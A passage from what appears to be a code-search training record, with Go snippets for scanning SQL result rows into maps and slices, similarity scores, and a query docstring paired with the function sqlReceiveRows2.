make(map[int]*[]byte)\n\t\t//struct's value\n\t\tvals := reflect.ValueOf(colval).Elem()\n\t\t//save the address of the struct's member\n\t\trets := make([]interface{}, 0, len(cols))\n\t\tfor _, v := range cols {\n\t\t\tidx := findColFieldID(ttype, v)\n\t\t\tif idx == -1 {\n\t\t\t\tvar i interface{}\n\t\t\t\trets = append(rets, &i)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif val := vals.Field(idx); val.Addr().CanInterface() {\n\t\t\t\tif _, has := notEncodeTypes[val.Type()]; !has {\n\t\t\t\t\tsli := make([]byte, 0)\n\t\t\t\t\tstructval[idx] = &sli\n\t\t\t\t\trets = append(rets, &sli)\n\t\t\t\t} else {\n\t\t\t\t\trets = append(rets, val.Addr().Interface())\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar i interface{}\n\t\t\t\trets = append(rets, &i)\n\t\t\t}\n\t\t}\n\t\terr := rows.Scan(rets...)\n\t\tif err != nil {\n\t\t\treturn readCols, err\n\t\t}\n\t\t//unmarshal the encoded members\n\t\tfor k, v := range structval {\n\t\t\tif val := vals.Field(k); val.Addr().CanInterface() {\n\t\t\t\tif len(*v) > 0 {\n\t\t\t\t\terr = unmarshal(*v, val.Addr().Interface())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn readCols, err\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tval = reflect.Zero(val.Type())\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treadCols = append(readCols, colval)\n\t}\n\n\treturn readCols, nil\n}", "func FindPackageRows(ctx context.Context, db SQLHandle, cond PackageValues) (rows PackageRows, err error) {\n\tif _, err = queryWithJSONArgs(ctx, db, rows.ReceiveRows, SQLFindPackageRows, cond); err != nil {\n\t\treturn nil, formatError(\"FindPackageRows\", err)\n\t}\n\treturn rows, nil\n}", "func MakeRowReceiver(colTypes []string) RowReceiverArr {\n\trowReceiverArr := make([]RowReceiverStringer, len(colTypes))\n\tfor i, colTp := range colTypes {\n\t\trecMaker, ok := colTypeRowReceiverMap[colTp]\n\t\tif !ok {\n\t\t\trecMaker = SQLTypeStringMaker\n\t\t}\n\t\trowReceiverArr[i] = recMaker()\n\t}\n\treturn RowReceiverArr{\n\t\tbound: false,\n\t\treceivers: rowReceiverArr,\n\t}\n}", "func (f *FakeTable) ReadRow(ovs *libovsdb.OvsdbClient, readRowArgs ovsdb.ReadRowArgs) (map[string]interface{}, error) {\n\tm := make(map[string]interface{})\n\treturn m, nil\n}", "func GetPopRowsByNameYear(ctx context.Context, db SQLHandle, keys ...interface{}) (rows PopRows, err error) {\n\trows = make(PopRows, 0, len(keys))\n\tif _, err = queryWithJSONArgs(ctx, db, rows.ReceiveRows, SQLGetPopRowsByNameYear, Keys(keys)); err != nil {\n\t\treturn nil, formatError(\"GetPopRowsByNameYear\", err)\n\t}\n\treturn rows, nil\n}", "func (m *MonkeyWrench) Read(table string, keys []spanner.KeySet, columns []string) ([]*spanner.Row, error) {\n\t// Default to all keys.\n\tvar spannerKeys = spanner.AllKeys()\n\n\t// If we have some specified keys, use those instead.\n\tif len(keys) > 0 {\n\t\tspannerKeys = spanner.KeySets(keys...)\n\t}\n\n\t// Execute the query.\n\titer := m.Client.Single().Read(m.Context, table, spannerKeys, columns)\n\treturn getResultSlice(iter)\n}", "func (ctx *TestContext) getRowMap(rowIndex int, table *messages.PickleStepArgument_PickleTable) map[string]string {\n\trowHeader := table.Rows[0]\n\tsourceRow := table.Rows[rowIndex]\n\n\trowMap := map[string]string{}\n\tfor i := 0; i < len(rowHeader.Cells); i++ {\n\t\tvalue := sourceRow.Cells[i].Value\n\t\tif value == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\trowMap[rowHeader.Cells[i].Value] = value\n\t}\n\n\treturn rowMap\n}", "func SQLReader(db *sql.DB, query string) chan string {\n\tch := make(chan string, 10)\n\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\tlogger.Error(\"Query error: %s in %q\", err.Error(), query)\n\t\treturn nil\n\t}\n\n\tgo func() {\n\t\tdefer rows.Close()\n\t\tvar vp []interface{}\n\t\tvar vals []string\n\n\t\tfor rows.Next() {\n\t\t\tvar v string\n\n\t\t\tcols, err := rows.Columns()\n\t\t\tif err != nil {\n\t\t\t\tlogger.Fatal(\"rows.Columns: %v\", err)\n\t\t\t}\n\n\t\t\tl := len(cols)\n\n\t\t\tif l == 1 {\n\t\t\t\terr = rows.Scan(&v)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Warning(\"Scan: %s\", err.Error())\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif vals == nil {\n\t\t\t\t\tvp = make([]interface{}, l)\n\t\t\t\t\tvals = make([]string, l)\n\t\t\t\t\tfor i := 0; i < l; i++ {\n\t\t\t\t\t\tvp[i] = &vals[i]\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\terr = rows.Scan(vp...)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Warning(\"Scan: %s\", err.Error())\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tv = strings.Join(vals, \" \")\n\t\t\t}\n\n\t\t\tch <- v\n\t\t}\n\n\t\tclose(ch)\n\t}()\n\n\treturn ch\n}", "func (res *Result) Rows() [][]interface{} {\n\tifacesSlice := make([][]interface{}, len(res.rows))\n\tfor i := range res.rows {\n\t\tifaces := make([]interface{}, len(res.rows[i]))\n\t\tfor j := range res.rows[i] {\n\t\t\tifaces[j] = res.rows[i][j]\n\t\t}\n\t\tifacesSlice[i] = ifaces\n\t}\n\treturn ifacesSlice\n}", "func RowsToMaps(rows *sql.Rows, geomColumn string) ([]map[string]interface{}, error) {\n\tvar maps []map[string]interface{}\n\n\tcols, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor rows.Next() {\n\t\trow := make([]interface{}, len(cols))\n\t\tfor idx, col := range cols {\n\t\t\tif col == geomColumn {\n\t\t\t\trow[idx] = new(wkb.GeometryScanner)\n\t\t\t} else {\n\t\t\t\trow[idx] = new(DumbScanner)\n\t\t\t}\n\t\t}\n\t\terr := rows.Scan(row...)\n\t\tif err != nil {\n\t\t\treturn maps, err\n\t\t}\n\t\tm := make(map[string]interface{})\n\t\tfor idx, col := range cols {\n\t\t\tif geom, isGeomScanner := row[idx].(*wkb.GeometryScanner); isGeomScanner {\n\t\t\t\tif geom.Valid {\n\t\t\t\t\tm[col] = geom.Geometry\n\t\t\t\t} else {\n\t\t\t\t\treturn nil, InvalidGeometryErr\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tds := row[idx].(*DumbScanner)\n\t\t\t\tm[col] = ds.Value\n\t\t\t}\n\t\t}\n\t\tmaps = append(maps, m)\n\t}\n\n\treturn maps, nil\n}", "func (d *Database) GetJSONList(sqlString string) ([]map[string]interface{}, error) {\n\trows, err := d.Conn.Query(sqlString)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcount := len(columns)\n\ttableData := make([]map[string]interface{}, 0)\n\tvalues := make([]interface{}, count)\n\tvaluePtrs := make([]interface{}, count)\n\tfor rows.Next() {\n\t\tfor i := 0; i < count; i++ {\n\t\t\tvaluePtrs[i] = &values[i]\n\t\t}\n\t\trows.Scan(valuePtrs...)\n\t\tentry := make(map[string]interface{})\n\t\tfor i, col := range columns {\n\t\t\tvar v interface{}\n\t\t\tval := values[i]\n\t\t\tb, ok := val.([]byte)\n\t\t\tif ok {\n\t\t\t\tv = string(b)\n\t\t\t} else {\n\t\t\t\tv = val\n\t\t\t}\n\t\t\tentry[col] = v\n\t\t}\n\t\ttableData = append(tableData, entry)\n\t}\n\treturn tableData, nil\n}", "func Select(mock sqlmock.Sqlmock, table string, columns []string, err error, values ...[]driver.Value) {\n\tsql := fmt.Sprintf(\"SELECT (.+) FROM %s\", table)\n\n\tif err != nil {\n\t\tmock.ExpectQuery(sql).WillReturnError(err)\n\t\treturn\n\t}\n\n\tif values == nil || len(values) == 0 {\n\t\tmock.ExpectQuery(sql).WillReturnRows(&sqlmock.Rows{})\n\t\treturn\n\t}\n\n\trows := sqlmock.NewRows(columns)\n\tfor _, value := range values {\n\t\trows.AddRow(value...)\n\t}\n\n\tmock.ExpectQuery(sql).WillReturnRows(rows)\n}", "func GetProductRowsByID(ctx context.Context, db SQLHandle, keys ...interface{}) (rows ProductRows, err error) {\n\trows = make(ProductRows, 0, len(keys))\n\tif _, err = queryWithJSONArgs(ctx, db, rows.ReceiveRows, SQLGetProductRowsByID, Keys(keys)); err != nil {\n\t\treturn nil, formatError(\"GetProductRowsByID\", err)\n\t}\n\treturn rows, nil\n}", "func (l *DBLink) GetMany(sqlQuery string, args ...interface{}) (Resultset, error) {\n\tif !l.supposedReady {\n\t\treturn Resultset{}, fmt.Errorf(\"connection not properly initialized\")\n\t}\n\n\tctx, cancel := context.WithTimeout(context.Background(), time.Duration(l.executionTimeoutSeconds)*time.Second)\n\n\tdefer cancel()\n\n\trows, err := l.db.QueryContext(ctx, sqlQuery, args...)\n\n\tif err != nil {\n\t\tif l.debugPrint {\n\t\t\tlog.Printf(`pgkebab.GetMany.db.Query(\"%s\") has failed: \"%v\"\\n`, sqlQuery, err)\n\t\t}\n\n\t\treturn Resultset{err: err}, err\n\t}\n\n\tdefer rowsClose(rows)\n\n\tcols, err0 := rows.Columns()\n\n\tif err0 != nil {\n\t\tif l.debugPrint {\n\t\t\tlog.Printf(`pgkebab.GetMany.rows.Columns(\"%s\") has failed: \"%v\"\\n`, sqlQuery, err0)\n\t\t}\n\n\t\treturn Resultset{err: err0}, err0\n\t}\n\n\trs := Resultset{\n\t\tpointer: resultsetFirstRow,\n\t\tcolumns: cols,\n\t\tdebugPrint: l.debugPrint,\n\t}\n\n\tif colTypes, err8 := rows.ColumnTypes(); err8 != nil {\n\t\tif l.debugPrint {\n\t\t\tlog.Printf(`pgkebab.GetMany.rows.ColumnTypes(\"%s\") has failed: \"%v\"\\n`, sqlQuery, err8)\n\t\t}\n\t} else {\n\t\tfor _, x := range colTypes {\n\t\t\trs.columnTypes = append(rs.columnTypes, x.DatabaseTypeName())\n\t\t}\n\t}\n\n\thowManyCols := len(cols)\n\n\t// Byte array for store values\n\trs.records = make([]Row, 0)\n\n\tfor rows.Next() {\n\t\t// Once Rows.Scan() expects []interface{} ( slice of interfaces ), we need one of these as a temporary buffer\n\t\tfakeDest := make([]interface{}, howManyCols)\n\n\t\t// Here we set the real []interface's address for each interface instance\n\t\trealDest := make([]interface{}, howManyCols)\n\n\t\tfor i := range realDest {\n\t\t\tfakeDest[i] = &realDest[i]\n\t\t}\n\n\t\tif er2 := rows.Scan(fakeDest...); er2 != nil {\n\t\t\tif l.debugPrint {\n\t\t\t\tlog.Printf(`pgkebab.GetMany.rows.Scan(\"%s\") has failed: \"%v\"\\n`, sqlQuery, er2)\n\t\t\t}\n\n\t\t\treturn Resultset{}, er2\n\t\t}\n\n\t\trw := Row{tuple: make(map[string]interface{})}\n\n\t\tfor i, v := range realDest {\n\t\t\tcol := cols[i]\n\n\t\t\t// Try to intercept and handle float64\n\t\t\t// To know further: https://stackoverflow.com/questions/31946344/why-does-go-treat-a-postgresql-numeric-decimal-columns-as-uint8\n\t\t\tif len(rs.columnTypes) >= i {\n\t\t\t\tif f, ok := decimalAsFloat64(rs.columnTypes[i], v); ok {\n\t\t\t\t\trw.tuple[col] = f\n\t\t\t\t} else {\n\t\t\t\t\trw.tuple[col] = v\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\trs.records = append(rs.records, rw)\n\t}\n\n\treturn rs, nil\n}", "func (m *PgSQL) MapScan(sqlString string) (map[string]interface{}, error) {\n\trows, err := m.Connection.Query(sqlString)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcount := len(columns)\n\tvalues := make([]interface{}, count)\n\tvaluePtrs := make([]interface{}, count)\n\tentry := make(map[string]interface{})\n\tfor rows.Next() {\n\t\tfor i := 0; i < count; i++ {\n\t\t\tvaluePtrs[i] = &values[i]\n\t\t}\n\t\trows.Scan(valuePtrs...)\n\t\tentry = make(map[string]interface{})\n\t\tfor i, col := range columns {\n\t\t\tvar v interface{}\n\t\t\tval := values[i]\n\t\t\tb, ok := val.([]byte)\n\t\t\tif ok {\n\t\t\t\tv = string(b)\n\t\t\t} else {\n\t\t\t\tv = val\n\t\t\t}\n\t\t\tentry[col] = v\n\t\t}\n\t}\n\treturn entry, nil\n}", "func executeQueryWithRowResponses(db *sql.DB, query string, args ...interface{}) (*sql.Rows, error) {\n\treturn db.Query(query, args...)\n}", "func (r *Iter_UServ_SelectUserById) Columns() ([]string, error) {\n\tif r.err != nil {\n\t\treturn nil, r.err\n\t}\n\tif r.rows != nil {\n\t\treturn r.rows.Columns()\n\t}\n\treturn nil, nil\n}", "func (rows *Rows) ToMap() ([]map[string]interface{}, error) {\n\n\tcolumns, err := rows.Rows.Columns()\n\tif err != nil {\n\t\treturn nil,err\n\t}\n\n\tvalues := make([]interface{}, len(columns))\n\tfor i := range values {\n\t\tvalues[i] = new(interface{})\n\t}\n\n\trowMaps := make([]map[string]interface{}, 0)\n\n\tfor rows.Rows.Next() {\n\t\terr = rows.Rows.Scan(values...)\n\t\tif err != nil {\n\t\t\treturn nil,err\n\t\t}\n\n\t\tcurrRow := make(map[string]interface{})\n\t\tfor i, name := range columns {\n\t\t\tcurrRow[name] = *(values[i].(*interface{}))\n\t\t}\n\t\t// accumulating rowMaps is the easy way out\n\t\trowMaps = append(rowMaps, currRow)\n\t}\n\n\treturn rowMaps,nil\n}", "func (r *result) Columns() []string {\n\treturn r.columns\n}", "func ReadRowsChan(reader io.Reader) (rows chan RowErr) {\n\trows = make(chan RowErr)\n\tgo readRowsRoutine(reader, rows)\n\treturn\n}", "func (p *CassandraClient) MultigetSlice(keys [][]byte, column_parent *ColumnParent, predicate *SlicePredicate, consistency_level ConsistencyLevel) (r map[string][]*ColumnOrSuperColumn, err error) {\n\tif err = p.sendMultigetSlice(keys, column_parent, predicate, consistency_level); err != nil {\n\t\treturn\n\t}\n\treturn p.recvMultigetSlice()\n}", "func RowsToStrings(qr *sqltypes.Result) [][]string {\n\tvar result [][]string\n\tfor _, row := range qr.Rows {\n\t\tvar srow []string\n\t\tfor _, cell := range row {\n\t\t\tsrow = append(srow, cell.ToString())\n\t\t}\n\t\tresult = append(result, srow)\n\t}\n\treturn result\n}", "func (conn *db) SelectMapRow(stmt Stmt, mapper MapMapper) (rowsReturned int, err error) {\n\treturn conn.runMapRow(stmt, mapper)\n}", "func (sc *SmartContract) RetriveRecords(stub shim.ChaincodeStubInterface, criteria string) []map[string]interface{} {\n\trecords := make([]map[string]interface{}, 0)\n\tselectorString := fmt.Sprintf(\"{\\\"selector\\\":%s }\", criteria)\n\t_SC_LOGGER.Info(\"Query Selector :\" + selectorString)\n\tresultsIterator, _ := stub.GetQueryResult(selectorString)\n\tfor resultsIterator.HasNext() {\n\t\trecord := make(map[string]interface{})\n\t\trecordBytes, _ := resultsIterator.Next()\n\t\terr := json.Unmarshal(recordBytes.Value, &record)\n\t\tif err != nil {\n\t\t\t_SC_LOGGER.Infof(\"Unable to unmarshal data retived:: %v\", err)\n\t\t}\n\t\trecords = append(records, record)\n\t}\n\treturn records\n}", "func (mc MultiCursor) GetRows() []int {\n\trowmap := make(map[int]bool)\n\tfor _, cursor := range mc.cursors {\n\t\trowmap[cursor.Row()] = true\n\t}\n\trows := []int{}\n\tfor row := range rowmap {\n\t\trows = append(rows, row)\n\t}\n\treturn rows\n}", "func ReceiptFromSQL(rows *sql.Rows) ([]*Receipt, error) {\n\treceipts := make([]*Receipt, 0)\n\n\tfor rows.Next() {\n\t\tr := &Receipt{}\n\t\tvar valueList, rState string\n\t\trows.Scan(&r.ID, &r.Created, &valueList, &rState, &r.ContentID, &r.UserID, &r.Finished)\n\n\t\terr := json.Unmarshal([]byte(valueList), &r.Values)\n\t\tif err != nil {\n\t\t\treturn nil, errors.New(\"invalid value list\")\n\t\t}\n\n\t\tvar ok bool\n\t\tr.SendState, ok = toStatus(rState)\n\t\tif !ok {\n\t\t\treturn nil, errors.New(\"invalid send state\")\n\t\t}\n\n\t\treceipts = append(receipts, r)\n\t}\n\n\treturn receipts, nil\n}", "func (t *Table) Rows(fi, li int) []map[string]interface{} {\r\n\r\n\tif fi < 0 || fi >= len(t.header.cols) {\r\n\t\tpanic(tableErrInvRow)\r\n\t}\r\n\tif li < 0 {\r\n\t\tli = len(t.rows) - 1\r\n\t} else if li < 0 || li >= len(t.rows) {\r\n\t\tpanic(tableErrInvRow)\r\n\t}\r\n\tif li < fi {\r\n\t\tpanic(\"Last index less than first index\")\r\n\t}\r\n\tres := make([]map[string]interface{}, li-li+1)\r\n\tfor ri := fi; ri <= li; ri++ {\r\n\t\ttrow := t.rows[ri]\r\n\t\trmap := make(map[string]interface{})\r\n\t\tfor ci := 0; ci < len(t.header.cols); ci++ {\r\n\t\t\tc := t.header.cols[ci]\r\n\t\t\trmap[c.id] = trow.cells[c.order].value\r\n\t\t}\r\n\t\tres = append(res, rmap)\r\n\t}\r\n\treturn res\r\n}", "func rowsToThings(rows *sql.Rows) Things {\n\tvar (\n\t\tt Thing\n\t\tresult Things\n\t\terr error\n\t)\n\n\tcheckRows(\"Things\", rows)\n\n\tfor i := 0; rows.Next(); i++ {\n\t\terr := rows.Scan(&t.ckey, &t.cval, &t.url, &t.data, &t.clockid, &t.tsn)\n\t\tcheckErr(\"scan things\", err)\n\n\t\tresult = append(result, t)\n\t}\n\terr = rows.Err()\n\tcheckErr(\"end reading things loop\", err)\n\n\tfmt.Printf(\"returning things: %d rows\\n\", len(result))\n\treturn result\n}", "func (m *MetricSet) Fetch() ([]common.MapStr, error) {\n\n\t// TODO: Find a way to pass the timeout\n\tdb, err := sql.Open(\"postgres\", m.Host())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.Close()\n\n\trows, err := db.Query(\"SELECT * FROM pg_stat_activity\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"scanning columns\")\n\t}\n\tvals := make([][]byte, len(columns))\n\tvalPointers := make([]interface{}, len(columns))\n\tfor i, _ := range vals {\n\t\tvalPointers[i] = &vals[i]\n\t}\n\n\tevents := []common.MapStr{}\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(valPointers...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"scanning row\")\n\t\t}\n\n\t\tresult := map[string]interface{}{}\n\t\tfor i, col := range columns {\n\t\t\tresult[col] = string(vals[i])\n\t\t}\n\n\t\tlogp.Debug(\"postgresql\", \"Result: %v\", result)\n\t\tevents = append(events, eventMapping(result))\n\t}\n\n\treturn events, nil\n}", "func Select(\n\tdb *sql.DB, params map[string]interface{},\n\tfieldMap map[string]string, table string, orderBy string,\n) ([]map[string]interface{}, error) {\n\tvar (\n\t\trows *sql.Rows\n\t\tcondition string\n\t\tlimit string\n\t)\n\tvalues := []interface{}{}\n\tresult := []map[string]interface{}{}\n\tcolumns, keys, processColumn, err := prepareSelectVariables(fieldMap)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif PK, ok := params[\"PK\"]; ok {\n\t\tif pk, ok := PK.(map[string]interface{}); ok {\n\t\t\tif condition, err = WherePK(pk, fieldMap, keys, &values, 0); err != nil {\n\t\t\t\tif err != ErrorZeroParamsInPK {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcondition = fmt.Sprintf(\"where %s\", condition)\n\t\t\t}\n\t\t}\n\t}\n\n\tif Limit, ok := params[\"Limit\"]; ok {\n\t\tif l, ok := Limit.(float64); ok {\n\t\t\tli := int64(l)\n\t\t\tlimit = fmt.Sprintf(\"limit %d\", li)\n\t\t} else {\n\t\t\treturn nil, fmt.Errorf(\"Cannot convert limit param %v into integer\", Limit)\n\t\t}\n\t}\n\n\tob := \"\"\n\tif orderBy != \"\" {\n\t\tob = fmt.Sprintf(`order by %s`, orderBy)\n\t}\n\tquery := fmt.Sprintf(`select %s from \"%s\" %s %s %s`,\n\t\tstrings.Join(columns, \",\"), table, condition, ob, limit)\n\trows, err = db.Query(query, values...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tcount := len(columns)\n\tslots := make([]interface{}, count)\n\tslotsPtrs := make([]interface{}, count)\n\tfor i := range slots {\n\t\tslotsPtrs[i] = &slots[i]\n\t}\n\tfor rows.Next() {\n\t\tif err := rows.Scan(slotsPtrs...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trow := map[string]interface{}{}\n\t\tfor i, key := range keys {\n\t\t\tif err := processColumn[i](slots[i], row, key); err != nil {\n\t\t\t\tlog.Println(err, \"at\", table)\n\t\t\t}\n\t\t}\n\t\tresult = append(result, row)\n\t}\n\n\tif err := rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}", "func (r *Runner) Rows() (*sql.Rows, error) {\n\tq, err := r.query.Construct()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn r.db.QueryContext(r.ctx, q.Query(), q.Args()...)\n}", "func (t *Table) GetNomsIndexRowData(ctx context.Context, indexName string) (types.Map, error) {\n\tsch, err := t.GetSchema(ctx)\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\tindexes, err := t.GetIndexSet(ctx)\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\tidx, err := indexes.GetIndex(ctx, sch, indexName)\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\treturn durable.NomsMapFromIndex(idx), nil\n}" ]
[ "0.7258371", "0.6074798", "0.6004336", "0.5995944", "0.5906801", "0.5803987", "0.5772708", "0.5753439", "0.5734412", "0.57305443", "0.57257646", "0.57187927", "0.5693068", "0.565486", "0.5642235", "0.5625866", "0.561885", "0.5602088", "0.5574321", "0.55320406", "0.55303043", "0.55303043", "0.54404616", "0.5383753", "0.5364153", "0.53534317", "0.53435194", "0.5331401", "0.53224885", "0.5320001", "0.53098136", "0.5298766", "0.5298766", "0.52576023", "0.52526104", "0.5242678", "0.52341354", "0.5216539", "0.5198423", "0.5164167", "0.5148814", "0.51207274", "0.5102143", "0.50998175", "0.507993", "0.5050557", "0.5047087", "0.5031212", "0.50099653", "0.4997786", "0.498846", "0.4981913", "0.49668145", "0.49662596", "0.49599627", "0.49447235", "0.49171674", "0.49013278", "0.4897659", "0.48950264", "0.48803276", "0.48758584", "0.48678353", "0.483729", "0.4832063", "0.48261458", "0.48144245", "0.48006323", "0.47863576", "0.47857177", "0.47700456", "0.47693983", "0.47514334", "0.47402254", "0.47396284", "0.46985978", "0.46920845", "0.46626967", "0.46496072", "0.46311176", "0.46266058", "0.46171004", "0.4610279", "0.45994136", "0.45991296", "0.4594469", "0.45929447", "0.45925996", "0.45915577", "0.4586981", "0.45784578", "0.45717624", "0.45597917", "0.45566198", "0.45463553", "0.45423853", "0.45333424", "0.4533079", "0.45244834", "0.4515343" ]
0.8020006
0
ReceiveRows gets data from a sql result set and returns it as a slice of maps. Each column is mapped to its column name. If you provide column names, those will be used in the map. Otherwise it will get the column names out of the result set provided
func sqlReceiveRows2(rows *sql.Rows, columnTypes []query.GoColumnType, columnNames []string) (values []map[string]interface{}) { var err error values = []map[string]interface{}{} columnReceivers := make([]SqlReceiver, len(columnTypes)) columnValueReceivers := make([]interface{}, len(columnTypes)) if columnNames == nil { columnNames, err = rows.Columns() if err != nil { log.Panic(err) } } for i, _ := range columnReceivers { columnValueReceivers[i] = &(columnReceivers[i].R) } for rows.Next() { err = rows.Scan(columnValueReceivers...) if err != nil { log.Panic(err) } v1 := make(map[string]interface{}, len(columnReceivers)) for j, vr := range columnReceivers { v1[columnNames[j]] = vr.Unpack(columnTypes[j]) } values = append(values, v1) } err = rows.Err() if err != nil { log.Panic(err) } return }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func sqlReceiveRows(rows *sql.Rows,\n\tcolumnTypes []query.GoColumnType,\n\tcolumnNames []string,\n\tbuilder *sqlBuilder,\n\t) []map[string]interface{} {\n\n\tvar values []map[string]interface{}\n\n\tcursor := NewSqlCursor(rows, columnTypes, columnNames, nil)\n\tdefer cursor.Close()\n\tfor v := cursor.Next();v != nil;v = cursor.Next() {\n\t\tvalues = append(values, v)\n\t}\n\tif builder != nil {\n\t\tvalues = builder.unpackResult(values)\n\t}\n\n\treturn values\n}", "func getMapFromRows(rows *sql.Rows) (map[string]interface{}, error) {\n\tcols, _ := rows.Columns()\n\tm := make(map[string]interface{})\n\tfor rows.Next() {\n\t\t// Create a slice of interface{}'s to represent each column,\n\t\t// and a second slice to contain pointers to each item in the columns slice.\n\t\tcolumns := make([]interface{}, len(cols))\n\t\tcolumnPointers := make([]interface{}, len(cols))\n\t\tfor i, _ := range columns {\n\t\t\tcolumnPointers[i] = &columns[i]\n\t\t}\n\n\t\t// Scan the result into the column pointers...\n\t\tif err := rows.Scan(columnPointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Create our map, and retrieve the value for each column from the pointers slice,\n\t\t// storing it in the map with the name of the column as the key.\n\t\tfor i, colName := range cols {\n\t\t\tval := columnPointers[i].(*interface{})\n\t\t\tm[colName] = *val\n\t\t}\n\t}\n\treturn m, nil\n}", "func RowToMap(rows *sql.Rows) []map[string]string {\n\tcolumns, _ := rows.Columns()\n\tcount := len(columns)\n\treadCols := make([]interface{}, count)\n\trawCols := make([]interface{}, count)\n\tvar records []map[string]string\n\tfor rows.Next() {\n\t\t// resultCols := make(map[string]string, count)\n\t\tfor i := range columns {\n\t\t\treadCols[i] = &rawCols[i]\n\t\t}\n\t\trows.Scan(readCols...)\n\n\t\t// all conver to string\n\t\tresultCols := assertTypeMap(columns, rawCols)\n\n\t\trecords = append(records, resultCols)\n\t}\n\treturn records\n}", "func (f *FakeTable) ReadRows(ovs *libovsdb.OvsdbClient, readRowArgs ovsdb.ReadRowArgs) ([]map[string]interface{}, error) {\n\tif f.ReadRowsFunc != nil {\n\t\treturn f.ReadRowsFunc(ovs, readRowArgs)\n\t}\n\tm := make([]map[string]interface{}, 10)\n\treturn m, nil\n}", "func (rs *PackageAggRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PackageAggRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PackageAggRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (rs *PackageRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PackageRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PackageRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (rs *PackageProductRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PackageProductRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PackageProductRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (r *PackageAggRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.Name, &r.Data.Available, &r.Data.Count}\n}", "func RowsToMap(rows *sql.Rows, typeString string) ([]map[string]interface{}, error) {\n\tarr := make([]map[string]interface{}, 0)\n\n\tcols, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//Set up valuePointers slice using types from typeString\n\ttypes := strings.Split(typeString, \",\")\n\tvaluePointers := make([]interface{}, len(types))\n\tfor i, t := range types {\n\t\tif t == \"int\" {\n\t\t\tvaluePointers[i] = new(int)\n\t\t} else if t == \"string\" {\n\t\t\tvaluePointers[i] = new(string)\n\t\t} else {\n\t\t\treturn nil, errors.New(\"Unknown type in typeString\")\n\t\t}\n\t}\n\n\tfor rows.Next() {\n\t\t// Scan the result into the value pointers...\n\t\tif err := rows.Scan(valuePointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tm := make(map[string]interface{})\n\t\tfor i, colName := range cols {\n\t\t\tm[colName] = valuePointers[i]\n\t\t}\n\n\t\tarr = append(arr, m)\n\t}\n\n\treturn arr, nil\n}", "func (rs *ProductRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(ProductRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(ProductRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (r *PopRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.Name, &r.Data.Year, &r.Data.Description}\n}", "func (rs *PopRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PopRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PopRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (r *PackageRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.Name, &r.Data.Available}\n}", "func RowsScan(rows *sql.Rows) (result []map[string]string, err error) {\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tvalues := make([]sql.RawBytes, len(columns))\n\tscanArgs := make([]interface{}, len(values))\n\t// ret := 